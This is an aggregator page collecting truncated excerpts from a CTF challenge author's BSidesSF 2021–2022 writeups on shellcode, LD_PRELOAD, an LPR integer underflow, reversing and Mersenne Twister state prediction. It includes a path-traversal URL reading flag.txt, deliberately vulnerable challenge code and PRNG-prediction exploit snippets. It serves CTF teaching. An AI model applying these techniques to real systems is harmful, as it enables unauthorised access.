'http://refreshing-d7c0f337.challenges.bsidessf.net/index.php?file=../../../../../../../flag.txt' CTF{press_f5_to_continue} mod_ctfauth - A custom Apache authentication module mod_ctfauth is a fairly simple Apache authentication plugin. It checks a username and token, then decides whether to grant access. I wrote it at the very last minute, because at work I was reverse engineering some Apache plugins and thought it'd be a good excuse to learn. And it worked! I've been re-using the container to test out more Apache stuff this week! The source for the challenge is here. As you can see, it's really pretty straight forward - you can expect something more interesting next year, now that I know how these plugins work! The bulk of the challenge is the following code (I removed a bunch of extra checks to shorten it down): char *username = (char*)apr_table_get(r->headers_in, USERNAME_HEADER); if(strcmp(username, "ctf")) { return AUTHZ_DENIED; } char* header = (char*)apr_table_get( r->headers_in, HEADER); char *encoded_token = header + strlen(TOKEN_PREFIX); int actual_length = apr_base64_decode(decoded_token, encoded_token); [...] apr_md5_ctx_t md5; apr_md5_init(&md5); apr_md5_update(&md5, SECRET, strlen(SECRET)); apr_md5_update(&md5, username, strlen(username)); apr_md5_update(&md5, SECRET, strlen(SECRET)); char buffer[HASH_LENGTH]; apr_md5_final(buffer, &md5); if(memcmp(buffe Vulnerability ★★★★
Blog.webp 2022-06-17 20:19:14 BSidesSF 2022 Writeups: Tutorial Challenges (Shurdles, Loadit, Polyglot, NFT) (lien direct) Hey folks, This is my (Ron's / iagox86's) author writeups for the BSides San Francisco 2022 CTF. You can get the full source code for everything on github. Most have either a Dockerfile or instructions on how to run locally. Enjoy! Here are the four BSidesSF CTF blogs: shurdles1/2/3, loadit1/2/3, polyglot, and not-for-taking mod_ctfauth, refreshing turtle, guessme loca, reallyprettymundane Shurdles - Shellcode Hurdles The Shurdles challenges are loosely based on a challenge from last year, Hurdles, as well as a Holiday Hack Challenge 2021 challenge I wrote called Shellcode Primer. It uses a tool I wrote called Mandrake to instrument shellcode to tell the user what's going on. It's helpful for debugging, but even more helpful as a teaching tool! The difference between this and the Holiday Hack version was that this time, I didn't bother to sandbox it, so you could pop a shell and inspect the box. I'm curious if folks did that.. probably they couldn't damage anything, and there's no intellectual property to steal. :) I'm not going to write up the solutions, but I did include solutions in the repository. Although I don't work for Counter Hack anymore, a MUCH bigger version of this challenge that I wrote is included in the SANS NetWars version launching this year. It covers a huge amount, including how to write bind- and reverse-shell shellcode from scratch. It's super cool! Unfortunately, I don't think SANS is doing hybrid events anymore, but if you find yourself at a SANS event be sure to check out NetWars! Loadit - Learning how to use LD_PRELOAD I wanted to make a few challenges that can be solved with LD_PRELOAD, which is where loadit came from! These are designed to be tutorial-style, so I think the solutions mostly speak for themselves. One interesting tidbit is that the third loadit challenge requires some state to be kept - rand() needs to return several different values. I had a few folks ask me about that, so I'll show off my solution here: #include int rand(void) { int answers[] = { 20, 22, 12, 34, 56, 67 }; static int count = 0; return answers[count++]; } // Just for laziness unsigned int sleep(unsigned int seconds) { return 0; } I use the static variable type to keep track of how many times rand() has been called. When you declare something as static inside a function, it means that the variable is initialized the first time the function is called, but changes are maintained as if it's a global variable (at least conceptually - in reality, it's initialized when the program is loaded, even if the function is never called). Ironically, this solution actually has an overflow - the 7th time and onwards rand() is called, it will start manipulating random memory. Luckily, we know that'll never happen. :) Hack Tool ★★★★
Blog.webp 2021-03-29 15:39:10 BSidesSF CTF 2021 Author writeup: log-em-all, a Pokemon-style collection game [video] (lien direct) This is a video walkthrough of Log 'em All, a difficult Hacking / Reverse Engineering challenge based on a classic bug in Pokemon Red. You can view the video below, or directly on Youtube. I've never done a video-based writeup before, so I'd love feedback! If you want to run this yourself, from a Linux computer with Docker (and a user in the appropriate group), run: $ git clone https://github.com/BSidesSF/ctf-2021-...​ $ cd ctf-2021-release/logemall/challenge $ docker build . -t test $ docker run -p666:666 --rm -ti test (Then in another window) $ nc -v localhost 666 ★★★★
Blog.webp 2021-03-18 17:07:36 BSidesSF CTF 2021 Author writeup: glitter-printer, a buffer underflow where you modify the actual code (lien direct) Hi Everybody! This is going to be a challenge-author writeup for the Glitter Printer challenge from BSides San Francisco 2021. First, a bit of history: the original idea I had behind Glitter Printer was to make a video game challenge involving cartridge-swap, where I'd write a handful of simple video games in 100% x86 code with no imports or anything (like an old fashioned cartridge game), and the player could swap between them without memory being re-initialized. Folks used to do this sorta thing on NES, and maybe I'll use it in a future challenge, but I decided to make this a bit simpler. While experimenting with writing libraries without libc, I realized just how much work it was going to be to write a bunch of games, and decided to simplify. My next ide was to write a “driver” type thing, where a blob of code is loaded into +RWX memory and the player could go wild on it. The the name Glitter Printer came across my radar, I don't even remember why, and that gave me the idea to do an LPR server. That's quite the background! The code So I don't know if anybody actually noticed, but I implemented a good chunk of the Line Printer (LPR) RFC correctly. Well, I tried to anyways, I didn't actually test it with a real client. The hard part was introducing a realistic-looking vulnerability - in many of my CTF challenges, the vuln comes naturally. So naturally, in fact, that I often don't even need to plan it in advance! I ended up settling on an integer underflow. If you look at the source (specifically, core.c), you can see that the main loop reads a single byte, then performs an action accordingly: void _start(queue_t *queues) { while(1) { char command = read_byte(STDIN); if(command == 1) { print_waiting_jobs(); } else if(command == 2) { receive_job(queues); } else if(command == 3) { queue_state_list(queues, 0); } else if(command == 4) { queue_state_list(queues, 1); } else if(command == 5) { // 05 Queue SP Agent SP List LF - Remove jobs } else { exit(6); } } } As part of several commands (such as receive_job()), an ASCII number is sent to choose a queue to operate on. The queue number isn't a byte (like “\x01”), it's a number like “123” that needs to be parsed. And by the way, this is still how LPR actually works! Here's the code I used for parsing numbers.. I'm pretty sure I just grabbed this from Stack Overflow: int read_number(char *terminator) { int result = 0; while(1) { // Read a single byte char buffer = read_byte(); // If it's not a valid byte, we're done (and we consume the terminator) if(buffer < '0' || buffer > '9') { Vulnerability Guideline ★★★★
Blog.webp 2021-03-17 15:59:18 BSidesSF CTF 2021 Author writeup: secure-asset-manager, a reversing challenge similar to Battle.net bot dev (lien direct) Hi Everybody! This is going to be a challenge-author writeup for the Secure Asset Manager challenge from BSides San Francisco 2021. It's designed to be a sort of “server management software”. I sort of chose that theme to play off the Solarwinds thing, the theme wasn't super linked to the challenge. The challenge was to analyze and reverse engineer a piece of client-side software that “checks in” with a server. For the check-in, the client is required to “validate” itself. The server sends a random “challenge” - which is actually a block of randomized x86 code - and that code used to checksum active memory to prevent tampering. If anybody reading this worked on bots for the original Starcraft (and other Battle.net games), this might seem familiar! It's based on Battle.net's CheckRevision code. Server The players don't normally get to see it, but this is my server code. I'd like to draw your attention to assembly-generator.rb in particular, which is what creates the challenge. It just does a whole bunch of random, and really bad checksumming with a few instructions and also randomized NOPs: 0.upto(rand(1..5)) do 0.upto(rand(2..5)) do # Do something to the value a few times s.push([ "xor eax, #{ random_int }", "add eax, #{ random_int }", "sub eax, #{ random_int }", "ror eax, #{ rand(1..30) }", "rol eax, #{ rand(1..30) }", ].sample) end # Mix in the previous value (or seed) s.push("xor ecx, eax") s.push('') s.push(nop()) end The server dumps all those random instructions into a file, assembles it with nasm, and sends over the resulting code. To generate a checksum on the server side, I actually used what I'd consider a solution: dumping client memory. First solution: dump memory To validate the client, the server wraps gdb (the GNU Debugger) and sends commands to dump process memory. Here's the code: def dump_binary(binary, target) L.info("Dumping memory from #{ binary } using gdb...") begin Timeout.timeout(3) do Open3.popen2("gdb -q #{ binary }") do |i, o, t| # Don't confirm things i.puts("set no-confirm") # Breakpoint @ malloc - we just need to stop anywhere i.puts("break malloc") # Run the executable i.puts("run") # Remove the breakpoint - this is VE ★★★★
Blog.webp 2021-03-16 16:32:50 BSidesSF CTF 2021 Author writeup: Hangman Battle Royale, where you defeat 1023 AI players! (lien direct) Hi Everybody! This is going to be a challenge-author writeup for the Hangman Battle Royale challenge from BSides San Francisco 2021. This is actually a reasonable simple challenge, overall. I got the idea of using a bad mt19937 implementation (the Mersenne Twister PRNG used by Ruby and Python) from SANS Holiday Hack Challenge 2020 (which is still online if you want to play!), and wanted to build a challenge around it. I had the idea of Battleship originally, but ended up deciding on Hangman for reasons I no longer remember, but that I'm sure made sense at the time. The game When you run the game, it prompts for the number of rounds: $ ruby ./hangman.rb Welcome to Hangman Battle Royale! ================================ MAIN MENU ================================ How many rounds do you want to play? (2 - 16) If you play at least 8 rounds, you win the special prize! When you choose a round count, it picks a bunch of CPU names to build brackets: ================================ ROUND 1! ================================ This game's match-ups are: Meirina Tresvalles -vs- Gelbert Chhangte Kebede Boehmer -vs- Karthic Cassity Mairtin Piedrahita -vs- Winston Pawlowski Brendaliz Lumbang -vs- Josipa Perlow Unusual Ballenger -vs- Carmellia Agregado Jinnie Khalif -vs- Jeegar Madela Vjeran Saltarelli -vs- Rachella Newfield And finally... YOU -vs- Patience Saravana! The vulnerability The actual code powering the list of players uses Ruby's built-in PRNG, which uses a predictable Mersenne Twister to generate random numbers. I don't love how the name-choosing code was a little bit contrived, but it can leak enough state to predict future random numbers: def get_opponents(count) return 0.upto(count-1).map do || i = rand(0xFFFFFFFF) "#{ FIRST_NAMES[i & 0xFFFF] } #{ LAST_NAMES[i >> 16] }" end end Each pair of names is a single 32-bit integer from the Mersenne Twister PRNG. It turns out, if you can leak 624 32-bit outputs, you can recover the full state! That means if you play at least 10 rounds, you end up with 210-1 names, or 1023 32-bit numbers (because you're the 1024th player). Once you've gotten the state of the PRNG, you can predict everything else that's going to happen! The exploit My exploit is super quick and dirty. It can parse the output from the game and grab the seed using mt19937predict: predictor = MT19937Predictor() for _ in range(511): (a, b) = read_names(i) predictor.setrandbits(a, 32) predictor.setrandbits(b, 32) (and yes, this is probably the first time I've ever written a Python solution!) Then does a final validation on your opponent's name to make sure the solution is working: (_, actual) = read_names(i) first_actual = FIRST_NAMES[actual & 0x0000FFFF] last_actual = LAST_NAMES[actual >> 16] final_name_actual = "%s %s" % (first_actual, last_actual) print("Validating...") print(" -> Final name (predicted):", final_name_predicted) print(" -> Final name (actual): ", final_name_actual) assert(final_name_predicted == final_name_actual) And prints out the 10 words that will be chosen: for i in range(10, 0, -1): word = predictor.getrandbits(32) print("Round %d: %s" % (10 - i + 1, WORDS[word & 0xFFFF])) # Waste RNG cycles for _ in range(1, (2**i) >> 1): predictor.getrandbits(64) To use it, I just connect to the game and tee the outpu Hack Prediction ★★★★
Blog.webp 2021-03-15 16:40:00 BSidesSF CTF 2021 Author writeup: Reverseme and Reverseme2 – simpler reverse engineering challenges (lien direct) This is going to be a writeup for the Reverseme challenges (reverseme and reverseme2 from BSides San Francisco 2021. Both parts are reasonably simple reverse engineering challenges. I provide the compiled binaries to the player (you can find those in the respective distfiles/ folders), and you have to figure out what to do with them. Both challenges use the same basic code as the runme challenges, where you send shellcode that is executed. Only in this case, the shellcode must be modified or “encoded” in some way first! Reverseme Since this can be solved with basic tools, I'm just going to use objdump disassemble the Reverseme binary. You can much more effectively use IDA or Ghidra, but to use those I might have to take screenshots, deal with file uploads, etc. :) Here's the output from objdump, focused on the important part (which I found by searching for main): $ objdump -D -M intel ./reverseme/distfiles/reverseme [...] ; Read the code from stdin (should be identical to Runme) 1220: e8 3b fe ff ff call 1060 1225: 48 89 45 e8 mov QWORD PTR [rbp-0x18],rax ; Perform error checking 1229: 48 83 7d e8 00 cmp QWORD PTR [rbp-0x18],0x0 ; Jump if no error 122e: 79 16 jns 1246 ; ; A for loop starts here, that loops over the full buffer. This is a small ; optimization - it jumps to the bottom where the for loop's exit condition ; is checked 124d: eb 28 jmp 1277 ; This loop is a super unoptimized way of doing: ; xor buffer[i], 0x41 ; inc i 124f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 1252: 48 63 d0 movsxd rdx,eax 1255: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 1259: 48 01 d0 add rax,rdx 125c: 0f b6 08 movzx ecx,BYTE PTR [rax] 125f: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 1262: 48 63 d0 movsxd rdx,eax 1265: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 1269: 48 01 d0 add rax,rdx 126c: 83 f1 41 xor ecx,0x41 126f: 89 ca mov edx,ecx 1271: 88 10 mov BYTE PTR [rax],dl 1273: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 ; Eax = the next loop iterator 1277: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 127a: 48 98 cdqe ; Are we at the end of the loop? 127c: 48 39 45 e8 cmp QWORD PTR [rbp-0x18],rax ; Jump to the top until the loop is done 1280: 7f cd jg 124f ; Get the buffer and jump to it (same as Runme) 1282: 48 8b 45 f0 mov rax,QWORD PTR [rbp-0x10] 1286: ff d0 call rax [...] When I was learning to reverse engineer, I got a ton of mileage out of compiling C code and looking at the resulting assembly to see what happens to loops and variables and stuff. So it might be illustrative to look at the source (which players wouldn't have had during the game): len = read(0, buffer, LENGTH); if(len < 0) { printf("Error reading!\n"); exit(1); } ★★★★
Last update at: 2024-05-08 16:08:26
See our sources.
My email:

To see everything: Our RSS (filtrered) Twitter